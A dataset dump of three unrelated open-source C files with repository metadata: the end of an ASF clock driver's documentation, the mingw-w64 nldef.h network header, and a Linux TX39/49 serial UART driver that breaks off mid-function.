* \c system_gclk_chan_is_locked()
* \c system_gclk_chan_is_enabled() and
* \c system_gclk_gen_is_enabled()
* </td>
* </tr>
* <tr>
* <td>Fixed \c system_gclk_chan_disable() deadlocking if a channel is enabled
* and configured to a failed/not running clock generator</td>
* </tr>
* <tr>
* <td>
* \li Changed default value for CONF_CLOCK_DFLL_ON_DEMAND from \c true to \c false
* \li Fixed system_flash_set_waitstates() failing with an assertion
* if an odd number of wait states provided
* </td>
* </tr>
* <tr>
* <td>
* \li Updated DFLL configuration function to implement workaround for
* errata 9905 in the DFLL module
* \li Updated \c system_clock_init() to reset interrupt flags before
* they are used
* \li Fixed \c system_clock_source_get_hz() to return correcy DFLL
* frequency number
* </td>
* </tr>
* <tr>
* <td>\li Fixed \c system_clock_source_is_ready not returning the correct
* state for \c SYSTEM_CLOCK_SOURCE_OSC8M
* \li Renamed the various \c system_clock_source_*_get_default_config()
* functions to \c system_clock_source_*_get_config_defaults() to
* match the remainder of ASF
* \li Added OSC8M calibration constant loading from the device signature
* row when the oscillator is initialized
* \li Updated default configuration of the XOSC32 to disable Automatic
* Gain Control due to silicon errata
* </td>
* </tr>
* <tr>
* <td>Initial Release</td>
* </tr>
* </table>
*/
/**
* \page asfdoc_sam0_system_clock_exqsg Examples for System Clock Driver
*
* This is a list of the available Quick Start guides (QSGs) and example
* applications for \ref asfdoc_sam0_system_clock_group. QSGs are simple
* examples with step-by-step instructions to configure and use this driver in
* a selection of use cases. Note that a QSG can be compiled as a standalone
* application or be added to the user application.
*
* - \subpage asfdoc_sam0_system_clock_basic_use_case
* - \subpage asfdoc_sam0_system_gclk_basic_use_case
*
* \page asfdoc_sam0_system_clock_document_revision_history Document Revision History
*
* <table>
* <tr>
* <th>Doc. Rev.</th>
* <th>Date</th>
* <th>Comments</th>
* </tr>
* <tr>
* <td>42119E</td>
* <td>12/2015</td>
* <td>Added support for SAM DA1 and SAM D09</td>
* </tr>
* <tr>
* <td>42119D</td>
* <td>12/2014</td>
* <td>Added support for SAM R21 and SAM D10/D11</td>
* </tr>
* <tr>
* <td>42119C</td>
* <td>01/2014</td>
* <td>Added support for SAM D21</td>
* </tr>
* <tr>
* <td>42119B</td>
* <td>06/2013</td>
* <td>Corrected documentation typos. Fixed missing steps in the Basic
* Use Case Quick Start Guide</td>
* </tr>
* <tr>
* <td>42119A</td>
* <td>06/2013</td>
* <td>Initial release</td>
* </tr>
* </table>
*/
#ifdef __cplusplus
}
#endif
#endif /* SYSTEM_CLOCK_FEATURE_H_INCLUDED */
|
907ec5d363a5e7fc05c72ffab70de2b1821a7669
|
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
|
/lib/libc/include/any-windows-any/nldef.h
|
e61f104fd0c066936a3025b25094b4c259fd6732
|
[
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-public-domain"
] |
permissive
|
ziglang/zig
|
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
|
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
|
refs/heads/master
| 2023-08-31T13:16:45.980913
| 2023-08-31T05:50:29
| 2023-08-31T05:50:29
| 40,276,274
| 25,560
| 2,399
|
MIT
| 2023-09-14T21:09:50
| 2015-08-06T00:51:28
|
Zig
|
UTF-8
|
C
| false
| false
| 4,725
|
h
|
nldef.h
|
/**
* This file is part of the mingw-w64 runtime package.
* No warranty is given; refer to the file DISCLAIMER within this package.
*/
#ifndef _NLDEF_
#define _NLDEF_
#include <winapifamily.h>
#if WINAPI_FAMILY_PARTITION (WINAPI_PARTITION_DESKTOP) || _WIN32_WINNT >= 0x0A00
typedef enum {
NldsInvalid,
NldsTentative,
NldsDuplicate,
NldsDeprecated,
NldsPreferred,
IpDadStateInvalid = 0,
IpDadStateTentative,
IpDadStateDuplicate,
IpDadStateDeprecated,
IpDadStatePreferred,
} NL_DAD_STATE;
#define MAKE_ROUTE_PROTOCOL(N, V) MIB_IPPROTO_ ## N = V, PROTO_IP_ ## N = V
typedef enum {
RouteProtocolOther = 1,
RouteProtocolLocal = 2,
RouteProtocolNetMgmt = 3,
RouteProtocolIcmp = 4,
RouteProtocolEgp = 5,
RouteProtocolGgp = 6,
RouteProtocolHello = 7,
RouteProtocolRip = 8,
RouteProtocolIsIs = 9,
RouteProtocolEsIs = 10,
RouteProtocolCisco = 11,
RouteProtocolBbn = 12,
RouteProtocolOspf = 13,
RouteProtocolBgp = 14,
MAKE_ROUTE_PROTOCOL (OTHER, 1),
MAKE_ROUTE_PROTOCOL (LOCAL, 2),
MAKE_ROUTE_PROTOCOL (NETMGMT, 3),
MAKE_ROUTE_PROTOCOL (ICMP, 4),
MAKE_ROUTE_PROTOCOL (EGP, 5),
MAKE_ROUTE_PROTOCOL (GGP, 6),
MAKE_ROUTE_PROTOCOL (HELLO, 7),
MAKE_ROUTE_PROTOCOL (RIP, 8),
MAKE_ROUTE_PROTOCOL (IS_IS, 9),
MAKE_ROUTE_PROTOCOL (ES_IS, 10),
MAKE_ROUTE_PROTOCOL (CISCO, 11),
MAKE_ROUTE_PROTOCOL (BBN, 12),
MAKE_ROUTE_PROTOCOL (OSPF, 13),
MAKE_ROUTE_PROTOCOL (BGP, 14),
MAKE_ROUTE_PROTOCOL (NT_AUTOSTATIC, 10002),
MAKE_ROUTE_PROTOCOL (NT_STATIC, 10006),
MAKE_ROUTE_PROTOCOL (NT_STATIC_NON_DOD, 10007)
} NL_ROUTE_PROTOCOL,*PNL_ROUTE_PROTOCOL;
typedef enum {
IpPrefixOriginOther = 0,
IpPrefixOriginManual,
IpPrefixOriginWellKnown,
IpPrefixOriginDhcp,
IpPrefixOriginRouterAdvertisement,
IpPrefixOriginUnchanged = 16
} NL_PREFIX_ORIGIN;
typedef enum {
NlsoOther = 0,
NlsoManual,
NlsoWellKnown,
NlsoDhcp,
NlsoLinkLayerAddress,
NlsoRandom,
IpSuffixOriginOther = 0,
IpSuffixOriginManual,
IpSuffixOriginWellKnown,
IpSuffixOriginDhcp,
IpSuffixOriginLinkLayerAddress,
IpSuffixOriginRandom,
IpSuffixOriginUnchanged = 16
} NL_SUFFIX_ORIGIN;
typedef enum {
NlatUnspecified,
NlatUnicast,
NlatAnycast,
NlatMulticast,
NlatBroadcast,
NlatInvalid
} NL_ADDRESS_TYPE, *PNL_ADDRESS_TYPE;
typedef enum _NL_ROUTE_ORIGIN {
NlroManual,
NlroWellKnown,
NlroDHCP,
NlroRouterAdvertisement,
Nlro6to4,
} NL_ROUTE_ORIGIN, *PNL_ROUTE_ORIGIN;
typedef enum _NL_NEIGHBOR_STATE {
NlnsUnreachable,
NlnsIncomplete,
NlnsProbe,
NlnsDelay,
NlnsStale,
NlnsReachable,
NlnsPermanent,
NlnsMaximum,
} NL_NEIGHBOR_STATE, *PNL_NEIGHBOR_STATE;
typedef enum _NL_LINK_LOCAL_ADDRESS_BEHAVIOR {
LinkLocalAlwaysOff = 0,
LinkLocalDelayed,
LinkLocalAlwaysOn,
LinkLocalUnchanged = -1
} NL_LINK_LOCAL_ADDRESS_BEHAVIOR;
typedef enum _NL_ROUTER_DISCOVERY_BEHAVIOR {
RouterDiscoveryDisabled = 0,
RouterDiscoveryEnabled,
RouterDiscoveryDhcp,
RouterDiscoveryUnchanged = -1
} NL_ROUTER_DISCOVERY_BEHAVIOR;
typedef enum _NL_BANDWIDTH_FLAG {
NlbwDisabled = 0,
NlbwEnabled,
NlbwUnchanged = -1
} NL_BANDWIDTH_FLAG, *PNL_BANDWIDTH_FLAG;
typedef enum _NL_INTERFACE_NETWORK_CATEGORY_STATE {
NlincCategoryUnknown = 0,
NlincPublic = 1,
NlincPrivate = 2,
NlincDomainAuthenticated = 3,
NlincCategoryStateMax
} NL_INTERFACE_NETWORK_CATEGORY_STATE, *PNL_INTERFACE_NETWORK_CATEGORY_STATE;
typedef struct _NL_INTERFACE_OFFLOAD_ROD {
BOOLEAN NlChecksumSupported : 1;
BOOLEAN NlOptionsSupported : 1;
BOOLEAN TlDatagramChecksumSupported : 1;
BOOLEAN TlStreamChecksumSupported : 1;
BOOLEAN TlStreamOptionsSupported : 1;
BOOLEAN FastPathCompatible : 1;
BOOLEAN TlLargeSendOffloadSupported : 1;
BOOLEAN TlGiantSendOffloadSupported : 1;
} NL_INTERFACE_OFFLOAD_ROD, *PNL_INTERFACE_OFFLOAD_ROD;
typedef struct _NL_PATH_BANDWIDTH_ROD {
ULONG64 Bandwidth;
ULONG64 Instability;
BOOLEAN BandwidthPeaked;
} NL_PATH_BANDWIDTH_ROD, *PNL_PATH_BANDWIDTH_ROD;
typedef enum _NL_NETWORK_CATEGORY {
NetworkCategoryPublic,
NetworkCategoryPrivate,
NetworkCategoryDomainAuthenticated,
NetworkCategoryUnchanged = -1,
NetworkCategoryUnknown = -1
} NL_NETWORK_CATEGORY,*PNL_NETWORK_CATEGORY;
typedef struct _NL_BANDWIDTH_INFORMATION {
ULONG64 Bandwidth;
ULONG64 Instability;
BOOLEAN BandwidthPeaked;
} NL_BANDWIDTH_INFORMATION, *PNL_BANDWIDTH_INFORMATION;
#define NlpoOther IpPrefixOriginOther
#define NlpoManual IpPrefixOriginManual
#define NlpoWellKnown IpPrefixOriginWellKnown
#define NlpoDhcp IpPrefixOriginDhcp
#define NlpoRouterAdvertisement IpPrefixOriginRouterAdvertisement
#define NL_MAX_METRIC_COMPONENT ((((ULONG) 1) << 31) - 1)
#define NET_IF_CURRENT_SESSION ((ULONG)-1)
#endif
#endif
|
4278f8af0d49f11ba4837e7026eb90fb4e744bdd
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/tty/serial/serial_txx9.c
|
fe48a0c2b4cab88c4b1bdb4d3ef09aa93dd0d4b2
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 34,086
|
c
|
serial_txx9.c
|
/*
* Derived from many drivers using generic_serial interface,
* especially serial_tx3912.c by Steven J. Hill and r39xx_serial.c
* (was in Linux/VR tree) by Jim Pick.
*
* Copyright (C) 1999 Harald Koerfgen
* Copyright (C) 2000 Jim Pick <jim@jimpick.com>
* Copyright (C) 2001 Steven J. Hill (sjhill@realitydiluted.com)
* Copyright (C) 2000-2002 Toshiba Corporation
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Serial driver for TX3927/TX4927/TX4925/TX4938 internal SIO controller
*/
#if defined(CONFIG_SERIAL_TXX9_CONSOLE) && defined(CONFIG_MAGIC_SYSRQ)
#define SUPPORT_SYSRQ
#endif
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/init.h>
#include <linux/console.h>
#include <linux/delay.h>
#include <linux/platform_device.h>
#include <linux/pci.h>
#include <linux/serial_core.h>
#include <linux/serial.h>
#include <linux/tty.h>
#include <linux/tty_flip.h>
#include <asm/io.h>
static char *serial_version = "1.11";
static char *serial_name = "TX39/49 Serial driver";
#define PASS_LIMIT 256
#if !defined(CONFIG_SERIAL_TXX9_STDSERIAL)
/* "ttyS" is used for standard serial driver */
#define TXX9_TTY_NAME "ttyTX"
#define TXX9_TTY_MINOR_START 196
#define TXX9_TTY_MAJOR 204
#else
/* acts like standard serial driver */
#define TXX9_TTY_NAME "ttyS"
#define TXX9_TTY_MINOR_START 64
#define TXX9_TTY_MAJOR TTY_MAJOR
#endif
/* flag aliases */
#define UPF_TXX9_HAVE_CTS_LINE UPF_BUGGY_UART
#define UPF_TXX9_USE_SCLK UPF_MAGIC_MULTIPLIER
#ifdef CONFIG_PCI
/* support for Toshiba TC86C001 SIO */
#define ENABLE_SERIAL_TXX9_PCI
#endif
/*
* Number of serial ports
*/
#define UART_NR CONFIG_SERIAL_TXX9_NR_UARTS
struct uart_txx9_port {
struct uart_port port;
/* No additional info for now */
};
#define TXX9_REGION_SIZE 0x24
/* TXX9 Serial Registers */
#define TXX9_SILCR 0x00
#define TXX9_SIDICR 0x04
#define TXX9_SIDISR 0x08
#define TXX9_SICISR 0x0c
#define TXX9_SIFCR 0x10
#define TXX9_SIFLCR 0x14
#define TXX9_SIBGR 0x18
#define TXX9_SITFIFO 0x1c
#define TXX9_SIRFIFO 0x20
/* SILCR : Line Control */
#define TXX9_SILCR_SCS_MASK 0x00000060
#define TXX9_SILCR_SCS_IMCLK 0x00000000
#define TXX9_SILCR_SCS_IMCLK_BG 0x00000020
#define TXX9_SILCR_SCS_SCLK 0x00000040
#define TXX9_SILCR_SCS_SCLK_BG 0x00000060
#define TXX9_SILCR_UEPS 0x00000010
#define TXX9_SILCR_UPEN 0x00000008
#define TXX9_SILCR_USBL_MASK 0x00000004
#define TXX9_SILCR_USBL_1BIT 0x00000000
#define TXX9_SILCR_USBL_2BIT 0x00000004
#define TXX9_SILCR_UMODE_MASK 0x00000003
#define TXX9_SILCR_UMODE_8BIT 0x00000000
#define TXX9_SILCR_UMODE_7BIT 0x00000001
/* SIDICR : DMA/Int. Control */
#define TXX9_SIDICR_TDE 0x00008000
#define TXX9_SIDICR_RDE 0x00004000
#define TXX9_SIDICR_TIE 0x00002000
#define TXX9_SIDICR_RIE 0x00001000
#define TXX9_SIDICR_SPIE 0x00000800
#define TXX9_SIDICR_CTSAC 0x00000600
#define TXX9_SIDICR_STIE_MASK 0x0000003f
#define TXX9_SIDICR_STIE_OERS 0x00000020
#define TXX9_SIDICR_STIE_CTSS 0x00000010
#define TXX9_SIDICR_STIE_RBRKD 0x00000008
#define TXX9_SIDICR_STIE_TRDY 0x00000004
#define TXX9_SIDICR_STIE_TXALS 0x00000002
#define TXX9_SIDICR_STIE_UBRKD 0x00000001
/* SIDISR : DMA/Int. Status */
#define TXX9_SIDISR_UBRK 0x00008000
#define TXX9_SIDISR_UVALID 0x00004000
#define TXX9_SIDISR_UFER 0x00002000
#define TXX9_SIDISR_UPER 0x00001000
#define TXX9_SIDISR_UOER 0x00000800
#define TXX9_SIDISR_ERI 0x00000400
#define TXX9_SIDISR_TOUT 0x00000200
#define TXX9_SIDISR_TDIS 0x00000100
#define TXX9_SIDISR_RDIS 0x00000080
#define TXX9_SIDISR_STIS 0x00000040
#define TXX9_SIDISR_RFDN_MASK 0x0000001f
/* SICISR : Change Int. Status */
#define TXX9_SICISR_OERS 0x00000020
#define TXX9_SICISR_CTSS 0x00000010
#define TXX9_SICISR_RBRKD 0x00000008
#define TXX9_SICISR_TRDY 0x00000004
#define TXX9_SICISR_TXALS 0x00000002
#define TXX9_SICISR_UBRKD 0x00000001
/* SIFCR : FIFO Control */
#define TXX9_SIFCR_SWRST 0x00008000
#define TXX9_SIFCR_RDIL_MASK 0x00000180
#define TXX9_SIFCR_RDIL_1 0x00000000
#define TXX9_SIFCR_RDIL_4 0x00000080
#define TXX9_SIFCR_RDIL_8 0x00000100
#define TXX9_SIFCR_RDIL_12 0x00000180
#define TXX9_SIFCR_RDIL_MAX 0x00000180
#define TXX9_SIFCR_TDIL_MASK 0x00000018
#define TXX9_SIFCR_TDIL_MASK 0x00000018
#define TXX9_SIFCR_TDIL_1 0x00000000
#define TXX9_SIFCR_TDIL_4 0x00000001
#define TXX9_SIFCR_TDIL_8 0x00000010
#define TXX9_SIFCR_TDIL_MAX 0x00000010
#define TXX9_SIFCR_TFRST 0x00000004
#define TXX9_SIFCR_RFRST 0x00000002
#define TXX9_SIFCR_FRSTE 0x00000001
#define TXX9_SIO_TX_FIFO 8
#define TXX9_SIO_RX_FIFO 16
/* SIFLCR : Flow Control */
#define TXX9_SIFLCR_RCS 0x00001000
#define TXX9_SIFLCR_TES 0x00000800
#define TXX9_SIFLCR_RTSSC 0x00000200
#define TXX9_SIFLCR_RSDE 0x00000100
#define TXX9_SIFLCR_TSDE 0x00000080
#define TXX9_SIFLCR_RTSTL_MASK 0x0000001e
#define TXX9_SIFLCR_RTSTL_MAX 0x0000001e
#define TXX9_SIFLCR_TBRK 0x00000001
/* SIBGR : Baudrate Control */
#define TXX9_SIBGR_BCLK_MASK 0x00000300
#define TXX9_SIBGR_BCLK_T0 0x00000000
#define TXX9_SIBGR_BCLK_T2 0x00000100
#define TXX9_SIBGR_BCLK_T4 0x00000200
#define TXX9_SIBGR_BCLK_T6 0x00000300
#define TXX9_SIBGR_BRD_MASK 0x000000ff
static inline unsigned int sio_in(struct uart_txx9_port *up, int offset)
{
switch (up->port.iotype) {
default:
return __raw_readl(up->port.membase + offset);
case UPIO_PORT:
return inl(up->port.iobase + offset);
}
}
static inline void
sio_out(struct uart_txx9_port *up, int offset, int value)
{
switch (up->port.iotype) {
default:
__raw_writel(value, up->port.membase + offset);
break;
case UPIO_PORT:
outl(value, up->port.iobase + offset);
break;
}
}
static inline void
sio_mask(struct uart_txx9_port *up, int offset, unsigned int value)
{
sio_out(up, offset, sio_in(up, offset) & ~value);
}
static inline void
sio_set(struct uart_txx9_port *up, int offset, unsigned int value)
{
sio_out(up, offset, sio_in(up, offset) | value);
}
static inline void
sio_quot_set(struct uart_txx9_port *up, int quot)
{
quot >>= 1;
if (quot < 256)
sio_out(up, TXX9_SIBGR, quot | TXX9_SIBGR_BCLK_T0);
else if (quot < (256 << 2))
sio_out(up, TXX9_SIBGR, (quot >> 2) | TXX9_SIBGR_BCLK_T2);
else if (quot < (256 << 4))
sio_out(up, TXX9_SIBGR, (quot >> 4) | TXX9_SIBGR_BCLK_T4);
else if (quot < (256 << 6))
sio_out(up, TXX9_SIBGR, (quot >> 6) | TXX9_SIBGR_BCLK_T6);
else
sio_out(up, TXX9_SIBGR, 0xff | TXX9_SIBGR_BCLK_T6);
}
static struct uart_txx9_port *to_uart_txx9_port(struct uart_port *port)
{
return container_of(port, struct uart_txx9_port, port);
}
static void serial_txx9_stop_tx(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
sio_mask(up, TXX9_SIDICR, TXX9_SIDICR_TIE);
}
static void serial_txx9_start_tx(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
sio_set(up, TXX9_SIDICR, TXX9_SIDICR_TIE);
}
static void serial_txx9_stop_rx(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
up->port.read_status_mask &= ~TXX9_SIDISR_RDIS;
}
static void serial_txx9_enable_ms(struct uart_port *port)
{
/* TXX9-SIO can not control DTR... */
}
static void serial_txx9_initialize(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned int tmout = 10000;
sio_out(up, TXX9_SIFCR, TXX9_SIFCR_SWRST);
/* TX4925 BUG WORKAROUND. Accessing SIOC register
* immediately after soft reset causes bus error. */
mmiowb();
udelay(1);
while ((sio_in(up, TXX9_SIFCR) & TXX9_SIFCR_SWRST) && --tmout)
udelay(1);
/* TX Int by FIFO Empty, RX Int by Receiving 1 char. */
sio_set(up, TXX9_SIFCR,
TXX9_SIFCR_TDIL_MAX | TXX9_SIFCR_RDIL_1);
/* initial settings */
sio_out(up, TXX9_SILCR,
TXX9_SILCR_UMODE_8BIT | TXX9_SILCR_USBL_1BIT |
((up->port.flags & UPF_TXX9_USE_SCLK) ?
TXX9_SILCR_SCS_SCLK_BG : TXX9_SILCR_SCS_IMCLK_BG));
sio_quot_set(up, uart_get_divisor(port, 9600));
sio_out(up, TXX9_SIFLCR, TXX9_SIFLCR_RTSTL_MAX /* 15 */);
sio_out(up, TXX9_SIDICR, 0);
}
static inline void
receive_chars(struct uart_txx9_port *up, unsigned int *status)
{
unsigned char ch;
unsigned int disr = *status;
int max_count = 256;
char flag;
unsigned int next_ignore_status_mask;
do {
ch = sio_in(up, TXX9_SIRFIFO);
flag = TTY_NORMAL;
up->port.icount.rx++;
/* mask out RFDN_MASK bit added by previous overrun */
next_ignore_status_mask =
up->port.ignore_status_mask & ~TXX9_SIDISR_RFDN_MASK;
if (unlikely(disr & (TXX9_SIDISR_UBRK | TXX9_SIDISR_UPER |
TXX9_SIDISR_UFER | TXX9_SIDISR_UOER))) {
/*
* For statistics only
*/
if (disr & TXX9_SIDISR_UBRK) {
disr &= ~(TXX9_SIDISR_UFER | TXX9_SIDISR_UPER);
up->port.icount.brk++;
/*
* We do the SysRQ and SAK checking
* here because otherwise the break
* may get masked by ignore_status_mask
* or read_status_mask.
*/
if (uart_handle_break(&up->port))
goto ignore_char;
} else if (disr & TXX9_SIDISR_UPER)
up->port.icount.parity++;
else if (disr & TXX9_SIDISR_UFER)
up->port.icount.frame++;
if (disr & TXX9_SIDISR_UOER) {
up->port.icount.overrun++;
/*
* The receiver read buffer still hold
* a char which caused overrun.
* Ignore next char by adding RFDN_MASK
* to ignore_status_mask temporarily.
*/
next_ignore_status_mask |=
TXX9_SIDISR_RFDN_MASK;
}
/*
* Mask off conditions which should be ingored.
*/
disr &= up->port.read_status_mask;
if (disr & TXX9_SIDISR_UBRK) {
flag = TTY_BREAK;
} else if (disr & TXX9_SIDISR_UPER)
flag = TTY_PARITY;
else if (disr & TXX9_SIDISR_UFER)
flag = TTY_FRAME;
}
if (uart_handle_sysrq_char(&up->port, ch))
goto ignore_char;
uart_insert_char(&up->port, disr, TXX9_SIDISR_UOER, ch, flag);
ignore_char:
up->port.ignore_status_mask = next_ignore_status_mask;
disr = sio_in(up, TXX9_SIDISR);
} while (!(disr & TXX9_SIDISR_UVALID) && (max_count-- > 0));
spin_unlock(&up->port.lock);
tty_flip_buffer_push(&up->port.state->port);
spin_lock(&up->port.lock);
*status = disr;
}
static inline void transmit_chars(struct uart_txx9_port *up)
{
struct circ_buf *xmit = &up->port.state->xmit;
int count;
if (up->port.x_char) {
sio_out(up, TXX9_SITFIFO, up->port.x_char);
up->port.icount.tx++;
up->port.x_char = 0;
return;
}
if (uart_circ_empty(xmit) || uart_tx_stopped(&up->port)) {
serial_txx9_stop_tx(&up->port);
return;
}
count = TXX9_SIO_TX_FIFO;
do {
sio_out(up, TXX9_SITFIFO, xmit->buf[xmit->tail]);
xmit->tail = (xmit->tail + 1) & (UART_XMIT_SIZE - 1);
up->port.icount.tx++;
if (uart_circ_empty(xmit))
break;
} while (--count > 0);
if (uart_circ_chars_pending(xmit) < WAKEUP_CHARS)
uart_write_wakeup(&up->port);
if (uart_circ_empty(xmit))
serial_txx9_stop_tx(&up->port);
}
static irqreturn_t serial_txx9_interrupt(int irq, void *dev_id)
{
int pass_counter = 0;
struct uart_txx9_port *up = dev_id;
unsigned int status;
while (1) {
spin_lock(&up->port.lock);
status = sio_in(up, TXX9_SIDISR);
if (!(sio_in(up, TXX9_SIDICR) & TXX9_SIDICR_TIE))
status &= ~TXX9_SIDISR_TDIS;
if (!(status & (TXX9_SIDISR_TDIS | TXX9_SIDISR_RDIS |
TXX9_SIDISR_TOUT))) {
spin_unlock(&up->port.lock);
break;
}
if (status & TXX9_SIDISR_RDIS)
receive_chars(up, &status);
if (status & TXX9_SIDISR_TDIS)
transmit_chars(up);
/* Clear TX/RX Int. Status */
sio_mask(up, TXX9_SIDISR,
TXX9_SIDISR_TDIS | TXX9_SIDISR_RDIS |
TXX9_SIDISR_TOUT);
spin_unlock(&up->port.lock);
if (pass_counter++ > PASS_LIMIT)
break;
}
return pass_counter ? IRQ_HANDLED : IRQ_NONE;
}
static unsigned int serial_txx9_tx_empty(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned long flags;
unsigned int ret;
spin_lock_irqsave(&up->port.lock, flags);
ret = (sio_in(up, TXX9_SICISR) & TXX9_SICISR_TXALS) ? TIOCSER_TEMT : 0;
spin_unlock_irqrestore(&up->port.lock, flags);
return ret;
}
static unsigned int serial_txx9_get_mctrl(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned int ret;
/* no modem control lines */
ret = TIOCM_CAR | TIOCM_DSR;
ret |= (sio_in(up, TXX9_SIFLCR) & TXX9_SIFLCR_RTSSC) ? 0 : TIOCM_RTS;
ret |= (sio_in(up, TXX9_SICISR) & TXX9_SICISR_CTSS) ? 0 : TIOCM_CTS;
return ret;
}
static void serial_txx9_set_mctrl(struct uart_port *port, unsigned int mctrl)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
if (mctrl & TIOCM_RTS)
sio_mask(up, TXX9_SIFLCR, TXX9_SIFLCR_RTSSC);
else
sio_set(up, TXX9_SIFLCR, TXX9_SIFLCR_RTSSC);
}
static void serial_txx9_break_ctl(struct uart_port *port, int break_state)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned long flags;
spin_lock_irqsave(&up->port.lock, flags);
if (break_state == -1)
sio_set(up, TXX9_SIFLCR, TXX9_SIFLCR_TBRK);
else
sio_mask(up, TXX9_SIFLCR, TXX9_SIFLCR_TBRK);
spin_unlock_irqrestore(&up->port.lock, flags);
}
#if defined(CONFIG_SERIAL_TXX9_CONSOLE) || defined(CONFIG_CONSOLE_POLL)
/*
* Wait for transmitter & holding register to empty
*/
static void wait_for_xmitr(struct uart_txx9_port *up)
{
unsigned int tmout = 10000;
/* Wait up to 10ms for the character(s) to be sent. */
while (--tmout &&
!(sio_in(up, TXX9_SICISR) & TXX9_SICISR_TXALS))
udelay(1);
/* Wait up to 1s for flow control if necessary */
if (up->port.flags & UPF_CONS_FLOW) {
tmout = 1000000;
while (--tmout &&
(sio_in(up, TXX9_SICISR) & TXX9_SICISR_CTSS))
udelay(1);
}
}
#endif
#ifdef CONFIG_CONSOLE_POLL
/*
* Console polling routines for writing and reading from the uart while
* in an interrupt or debug context.
*/
static int serial_txx9_get_poll_char(struct uart_port *port)
{
unsigned int ier;
unsigned char c;
struct uart_txx9_port *up = to_uart_txx9_port(port);
/*
* First save the IER then disable the interrupts
*/
ier = sio_in(up, TXX9_SIDICR);
sio_out(up, TXX9_SIDICR, 0);
while (sio_in(up, TXX9_SIDISR) & TXX9_SIDISR_UVALID)
;
c = sio_in(up, TXX9_SIRFIFO);
/*
* Finally, clear RX interrupt status
* and restore the IER
*/
sio_mask(up, TXX9_SIDISR, TXX9_SIDISR_RDIS);
sio_out(up, TXX9_SIDICR, ier);
return c;
}
static void serial_txx9_put_poll_char(struct uart_port *port, unsigned char c)
{
unsigned int ier;
struct uart_txx9_port *up = to_uart_txx9_port(port);
/*
* First save the IER then disable the interrupts
*/
ier = sio_in(up, TXX9_SIDICR);
sio_out(up, TXX9_SIDICR, 0);
wait_for_xmitr(up);
/*
* Send the character out.
* If a LF, also do CR...
*/
sio_out(up, TXX9_SITFIFO, c);
if (c == 10) {
wait_for_xmitr(up);
sio_out(up, TXX9_SITFIFO, 13);
}
/*
* Finally, wait for transmitter to become empty
* and restore the IER
*/
wait_for_xmitr(up);
sio_out(up, TXX9_SIDICR, ier);
}
#endif /* CONFIG_CONSOLE_POLL */
static int serial_txx9_startup(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned long flags;
int retval;
/*
* Clear the FIFO buffers and disable them.
* (they will be reenabled in set_termios())
*/
sio_set(up, TXX9_SIFCR,
TXX9_SIFCR_TFRST | TXX9_SIFCR_RFRST | TXX9_SIFCR_FRSTE);
/* clear reset */
sio_mask(up, TXX9_SIFCR,
TXX9_SIFCR_TFRST | TXX9_SIFCR_RFRST | TXX9_SIFCR_FRSTE);
sio_out(up, TXX9_SIDICR, 0);
/*
* Clear the interrupt registers.
*/
sio_out(up, TXX9_SIDISR, 0);
retval = request_irq(up->port.irq, serial_txx9_interrupt,
IRQF_SHARED, "serial_txx9", up);
if (retval)
return retval;
/*
* Now, initialize the UART
*/
spin_lock_irqsave(&up->port.lock, flags);
serial_txx9_set_mctrl(&up->port, up->port.mctrl);
spin_unlock_irqrestore(&up->port.lock, flags);
/* Enable RX/TX */
sio_mask(up, TXX9_SIFLCR, TXX9_SIFLCR_RSDE | TXX9_SIFLCR_TSDE);
/*
* Finally, enable interrupts.
*/
sio_set(up, TXX9_SIDICR, TXX9_SIDICR_RIE);
return 0;
}
static void serial_txx9_shutdown(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned long flags;
/*
* Disable interrupts from this port
*/
sio_out(up, TXX9_SIDICR, 0); /* disable all intrs */
spin_lock_irqsave(&up->port.lock, flags);
serial_txx9_set_mctrl(&up->port, up->port.mctrl);
spin_unlock_irqrestore(&up->port.lock, flags);
/*
* Disable break condition
*/
sio_mask(up, TXX9_SIFLCR, TXX9_SIFLCR_TBRK);
#ifdef CONFIG_SERIAL_TXX9_CONSOLE
if (up->port.cons && up->port.line == up->port.cons->index) {
free_irq(up->port.irq, up);
return;
}
#endif
/* reset FIFOs */
sio_set(up, TXX9_SIFCR,
TXX9_SIFCR_TFRST | TXX9_SIFCR_RFRST | TXX9_SIFCR_FRSTE);
/* clear reset */
sio_mask(up, TXX9_SIFCR,
TXX9_SIFCR_TFRST | TXX9_SIFCR_RFRST | TXX9_SIFCR_FRSTE);
/* Disable RX/TX */
sio_set(up, TXX9_SIFLCR, TXX9_SIFLCR_RSDE | TXX9_SIFLCR_TSDE);
free_irq(up->port.irq, up);
}
static void
serial_txx9_set_termios(struct uart_port *port, struct ktermios *termios,
struct ktermios *old)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
unsigned int cval, fcr = 0;
unsigned long flags;
unsigned int baud, quot;
/*
* We don't support modem control lines.
